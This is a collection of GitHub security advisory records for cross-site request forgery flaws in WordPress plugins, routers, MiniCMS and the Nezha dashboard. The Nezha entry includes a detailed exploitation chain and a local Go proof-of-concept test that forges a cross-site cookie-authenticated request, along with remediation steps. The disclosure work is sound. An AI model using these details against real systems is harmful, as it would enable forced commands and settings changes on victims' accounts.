CWE-352

{
  "affected": [],
  "aliases": [
    "CVE-2024-3756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-06T06:15:07Z",
    "severity": "HIGH"
  },
  "details": "The MF Gig Calendar WordPress plugin through 1.2.1 does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack",
  "id": "GHSA-8q98-72mq-w92m",
  "modified": "2024-07-03T18:39:00Z",
  "published": "2024-05-06T06:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3756"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/b28d0dca-2df1-4925-be81-dd9c46859c38"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-9281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-27T13:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in bg5sbk MiniCMS up to 1.11 and classified as problematic. This issue affects some unknown processing of the file post-edit.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions confusing version and file name information. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8q9m-g5j8-h6qr",
  "modified": "2024-09-27T15:30:35Z",
  "published": "2024-09-27T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bg5sbk/MiniCMS/issues/51"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.278663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.278663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.411164"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T16:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in CRM Perks WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms allows Cross Site Request Forgery. This issue affects WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms: from n/a through 1.1.3.",
  "id": "GHSA-8qcj-h873-c6wq",
  "modified": "2026-04-01T18:34:33Z",
  "published": "2025-04-04T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32269"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/cf7-zendesk/vulnerability/wordpress-wp-zendesk-for-contact-form-7-wpforms-elementor-formidable-and-ninja-forms-plugin-1-1-3-cross-site-request-forgery-csrf-to-settings-change-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-40623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WAVLINK Quantum D4G (WN531G3) running firmware version M31G3.V5030.200325 does not utilize anti-CSRF tokens, which, when combined with other issues (such as CVE-2022-35518), can lead to remote, unauthenticated command execution.",
  "id": "GHSA-8qfm-5jpx-jp3v",
  "modified": "2022-09-20T00:00:31Z",
  "published": "2022-09-14T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40623"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/cSileV8YbsQ?t=1028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-22297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-07T11:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in AIpost AI WP Writer allows Cross Site Request Forgery.This issue affects AI WP Writer: from n/a through 3.8.4.4.",
  "id": "GHSA-8qfm-m93q-xc6c",
  "modified": "2026-04-01T18:33:02Z",
  "published": "2025-01-07T12:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22297"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/ai-wp-writer/vulnerability/wordpress-ai-wp-writer-plugin-3-8-4-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack",
  "id": "GHSA-8qfr-9rmh-3hfc",
  "modified": "2022-06-29T00:00:24Z",
  "published": "2022-06-21T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1610"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/88014da6-6179-4527-8f67-fbb610804d93"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T13:39:21Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe dashboard exposes the cron manual-trigger action as an authenticated `GET /api/v1/cron/:id/manual` endpoint. Dashboard JWTs are sent in the `nz-jwt` cookie and configured with `SameSite=Lax`, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim\u0027s browser to the manual-trigger URL.\n\nIf the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.\n\n### Details\nSource-to-sink chain:\n\n1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: `auth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))` at `cmd/dashboard/controller/controller.go:131-134`.\n2. JWT auth is cookie-enabled: `CookieName: \"nz-jwt\"`, `SendCookie: true`, `CookieSameSite: http.SameSiteLaxMode`, and `TokenLookup: \"header: Authorization, query: token, cookie: nz-jwt\"` at `cmd/dashboard/controller/jwt.go:23-46`.\n3. The handler parses the route ID, loads the cron object, checks only normal object ownership via `cr.HasPermission(c)`, then calls `singleton.ManualTrigger(cr)` at `cmd/dashboard/controller/cron.go:170-187`.\n4. `ManualTrigger` immediately runs `CronTrigger(cr)()` at `service/singleton/crontask.go:249-250`.\n5. `CronTrigger` dispatches the stored command to online eligible agents via `s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})` at `service/singleton/crontask.go:289-304` after the owner/server check in `cronCanSendToServer` (`service/singleton/crontask.go:315-317`).\n6. Object authorization is user ownership/admin only: `Common.HasPermission` returns true for admins or matching `UserID` at `model/common.go:44-56`. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.\n\nFalse-positive screening:\n\n- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.\n- The route is authenticated, and the unauthenticated negative control failed with `ApiErrorUnauthorized` and dispatched no task.\n- `SameSite=Lax` mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.\n- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.\n- The permission check still limits the triggered task to the victim\u0027s own task or an admin\u0027s task, but CSRF abuses the victim\u0027s browser/session to satisfy that check.\n\n### PoC\n\nSafe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text `touch /tmp/should-not-run`. It then performs two requests:\n\n1. Negative control: cross-site-style GET without the `nz-jwt` cookie. Expected result: response contains `ApiErrorUnauthorized`; zero tasks are dispatched.\n2. Positive proof: cross-site-style GET with the victim\u0027s `nz-jwt` cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with `Id=7`, `Type=model.TaskTypeCommand`, and `Data=\"touch /tmp/should-not-run\"`.\n\nCommand run from a clean checkout of the tested tree:\n\n```bash\ncat \u003e/tmp/nezha-docs-stub.go \u003c\u003c\u0027EOF\u0027\npackage docs\n\nvar SwaggerInfo = struct {\n\tVersion string\n}{Version: \"test\"}\nEOF\n\ncat \u003e/tmp/nezha-cron-csrf-poc-test.go \u003c\u003c\u0027EOF\u0027\npackage controller\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/patrickmn/go-cache\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/pkg/i18n\"\n\tpb \"github.com/nezhahq/nezha/proto\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n)\n\ntype capturedTaskStream struct { tasks []*pb.Task }\n\nfunc (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }\nfunc (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }\nfunc (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SetTrailer(metadata.MD) {}\nfunc (s *capturedTaskStream) Context() context.Context { return context.Background() }\nfunc (s *capturedTaskStream) SendMsg(any) error { return nil }\nfunc (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }\n\nfunc TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {\n\tgin.SetMode(gin.TestMode)\n\tdb, err := gorm.Open(sqlite.Open(\"file:cron_csrf_poc?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n\tif err != nil { t.Fatal(err) }\n\tif err := db.AutoMigrate(\u0026model.User{}, \u0026model.Server{}, \u0026model.Cron{}); err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.User{Common: model.Common{ID: 100}, Username: \"victim\", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: \"victim-agent\"}).Error; err != nil { t.Fatal(err) }\n\n\tsingleton.DB = db\n\tsingleton.Loc = time.UTC\n\tsingleton.Cache = cache.New(time.Minute, time.Minute)\n\tsingleton.Localizer = i18n.NewLocalizer(\"en_US\", \"nezha\", \"translations\", i18n.Translations)\n\tsingleton.Conf = \u0026singleton.ConfigClass{Config: \u0026model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: \"test\"}, JWTSecretKey: \"test-secret-for-cron-csrf-poc\", JWTTimeout: 1}}\n\tsingleton.ServerShared = singleton.NewServerClass()\n\tsingleton.CronShared = singleton.NewCronClass()\n\tdefer singleton.CronShared.Stop()\n\n\tstream := \u0026capturedTaskStream{}\n\tserver, ok := singleton.ServerShared.Get(200)\n\tif !ok { t.Fatal(\"server missing from singleton\") }\n\tserver.TaskStream = stream\n\n\tcronTask := \u0026model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: \"victim cron\", TaskType: model.CronTypeCronTask, Command: \"touch /tmp/should-not-run\", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}\n\tsingleton.CronShared.Update(cronTask)\n\n\tauthMiddleware := initParams()\n\tif err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }\n\ttoken, _, err := authMiddleware.TokenGenerator(map[string]interface{}{\"user_id\": \"100\", \"ip\": \"203.0.113.10\"})\n\tif err != nil { t.Fatal(err) }\n\n\tr := gin.New()\n\tr.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, \"203.0.113.10\"); c.Next() })\n\tauth := r.Group(\"\", authMiddleware.MiddlewareFunc())\n\tauth.GET(\"/api/v1/cron/:id/manual\", commonHandler(manualTriggerCron))\n\n\twNoCookie := httptest.NewRecorder()\n\treqNoCookie := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treqNoCookie.Header.Set(\"Origin\", \"https://attacker.example\")\n\treqNoCookie.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\tr.ServeHTTP(wNoCookie, reqNoCookie)\n\tif !strings.Contains(wNoCookie.Body.String(), \"ApiErrorUnauthorized\") { t.Fatalf(\"expected unauthenticated control to fail, got status=%d body=%s\", wNoCookie.Code, wNoCookie.Body.String()) }\n\tif len(stream.tasks) != 0 { t.Fatalf(\"unauthenticated control dispatched %d task(s)\", len(stream.tasks)) }\n\n\tw := httptest.NewRecorder()\n\treq := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treq.Header.Set(\"Origin\", \"https://attacker.example\")\n\treq.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\treq.AddCookie(\u0026http.Cookie{Name: \"nz-jwt\", Value: token})\n\tr.ServeHTTP(w, req)\n\n\tvar resp struct { Success bool `json:\"success\"`; Error string `json:\"error\"` }\n\tif err := json.Unmarshal(w.Body.Bytes(), \u0026resp); err != nil { t.Fatalf(\"decode response: %v body=%s\", err, w.Body.String()) }\n\tif !resp.Success { t.Fatalf(\"manual trigger failed: status=%d body=%s\", w.Code, w.Body.String()) }\n\tif len(stream.tasks) != 1 { t.Fatalf(\"expected one dispatched task, got %d\", len(stream.tasks)) }\n\tdispatched := stream.tasks[0]\n\tif dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != \"touch /tmp/should-not-run\" { t.Fatalf(\"unexpected dispatched task: id=%d type=%d data=%q\", dispatched.Id, dispatched.Type, dispatched.Data) }\n}\nEOF\n\ncat \u003e/tmp/nezha-overlay-cron-csrf.json \u003c\u003c\u0027EOF\u0027\n{\n  \"Replace\": {\n    \"/path/to/nezha/cmd/dashboard/docs/docs.go\": \"/tmp/nezha-docs-stub.go\",\n    \"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go\": \"/tmp/nezha-cron-csrf-poc-test.go\"\n  }\n}\nEOF\n# Replace /path/to/nezha above with the local checkout path, then run:\ngo test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v\n```\n\nObserved output in this environment:\n\n```text\n=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET\n--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)\nPASS\nok  \tgithub.com/nezhahq/nezha/cmd/dashboard/controller\t0.019s\n```\n\nThe `-vet=off` flag was only needed because this checkout lacks the generated `cmd/dashboard/docs` directory and Go vet still tries to `chdir` into the overlay-created package directory. The overlay includes a minimal `docs` package stub so the controller package can compile without generating Swagger files.\n\nCleanup:\n\n```bash\nrm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json\n```\n\n### Impact\n\nA remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user\u0027s browser navigate to `/api/v1/cron/\u003cknown-id\u003e/manual`. If that cron task dispatches an agent command, the command is sent to the victim\u0027s online agent without the victim intentionally clicking the manual trigger in the dashboard.\n\nSecurity impact is integrity and availability:\n\n- Integrity: forced execution of a stored command on victim-controlled agents.\n- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.\n- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.\n\n### Suggested remediation\n\n- Make manual cron triggering a non-idempotent method such as `POST /api/v1/cron/:id/manual` instead of GET.\n- Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with `Origin`/`Referer` and Fetch Metadata validation.\n- Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.\n- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.\n- If frontend compatibility requires cookies, keep `SameSite=Lax` or stricter, but do not rely on it to protect state-changing GET routes.",
  "id": "GHSA-8qhj-4f8c-j8qg",
  "modified": "2026-06-26T21:28:58Z",
  "published": "2026-06-10T13:39:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-8qhj-4f8c-j8qg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49396"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha has cross-site GET request that can trigger stored cron commands on a victim\u0027s agents"
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-3792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-20T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in Beetel 450TC2 Router with firmware TX6-0Q-005_retail allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the uiViewTools_Password and uiViewTools_PasswordConfirm parameters to Forms/tools_admin_1.",
  "id": "GHSA-8qj3-mmmq-gvc7",
  "modified": "2022-05-17T04:43:13Z",
  "published": "2022-05-17T04:43:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3792"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/show/osvdb/106468"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/126426/Beetel-450TC2-Cross-Site-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/58365"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/33129"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-06T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WP Fastest Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.2. This is due to missing or incorrect nonce validation on the deleteCacheToolbar function. This makes it possible for unauthenticated attackers to perform cache deletion via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
  "id": "GHSA-8qj6-j7fv-pc7x",
  "modified": "2023-04-13T15:30:35Z",
  "published": "2023-04-06T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1926"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2893158/wp-fastest-cache/trunk/wpFastestCache.php?contextall=1"
    },
    {
      "type": "WEB",
      "url": "https://wordfence.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b793a4cb-3130-428e-9b61-8ce29fcdaf70?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-4133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:24Z",
    "severity": "MODERATE"
  },
  "details": "The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.",
  "id": "GHSA-8qm3-xq92-849m",
  "modified": "2026-04-22T09:31:33Z",
  "published": "2026-04-22T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4133"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d36fa25-108b-462b-b84e-2e77943b1871?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}